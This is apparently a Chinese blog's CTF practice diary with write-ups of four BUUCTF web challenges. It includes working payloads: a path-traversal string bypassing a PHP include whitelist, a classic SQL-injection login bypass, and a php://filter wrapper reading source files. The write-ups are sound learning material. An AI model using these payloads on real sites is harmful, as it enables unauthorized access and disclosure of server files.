cr0fyの博客

生如夏花之灿烂,死如秋叶之静美

0%

BUU刷题日记[1]web

1.[HCTF 2018]WarmUp
2.[极客大挑战 2019]EasySQL
3.[极客大挑战 2019]Havefun
4.[ACTF2020 新生赛]Include

[HCTF 2018]WarmUp

开始是个滑稽图片,访问控制台得知source.php得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

在source.php中得知下一步hint.php

1
flag not here, and flag in ffffllllaaaagggg

猜测flag在ffffllllaaaagggg文件夹中

对checkFile函数加以分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //设置白名单
if (! isset($page) || !is_string($page)) { //isset函数判断变量是否赋值,后一个函数判断是否为字符串,需满足两个条件
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) { //匹配判断变量中是否含有白名单列表
return true;
}

$_page = mb_substr( //返回page中第一个 '?'的位置
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //检查是否白名单列表
return true;
}

$_page = urldecode($page);
$_page = mb_substr( //返回_page中第一个'?'的位置
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //检查是否白名单列表
return true;
}
echo "you can't see it";
return false;
}
}

对source.php中flag产生的条件进行分析

1
2
3
4
5
6
7
8
9
10
    if (! empty($_REQUEST['file'])                             
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

需要满足三个条件

1
2
3
file参数不为空
file参数是一个string类型
file参数能够通过checkFile的检验

有两次问号过滤和白名单检测,
再利用include函数的目录跳转
Alt text
构造payload:source.php/?file=hint.php?../../../../../../ffffllllaaaagggg

可以想象第一次过滤得到source.php,通过白名单检查,第二次过滤得到hint.php,也通过白名单检查,最终跳转读取ffffllllaaaagggg文件得到flag
Alt text

[极客大挑战 2019]EasySQL

Alt text

直接使用万能密码 admin’ or ‘1’ = ‘1

Alt text

得到flag
flag{d2d41481-a732-42d3-b873-77a8a25f4ff7}

[极客大挑战 2019]Havefun

白给题
查看控制台,发现提示
Alt text
传参后得到flag
Alt text

[ACTF2020 新生赛]Include

源码发现有flag.php
Alt text

猜测为php伪协议
payload为

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

Alt text

知识点:

php://filter伪协议

1
php://filter/read=convert.base64-encode/resource=XXX.php

该伪协议读取源代码并进行base64输出,不然会当作php代码执行导致看不到源码内容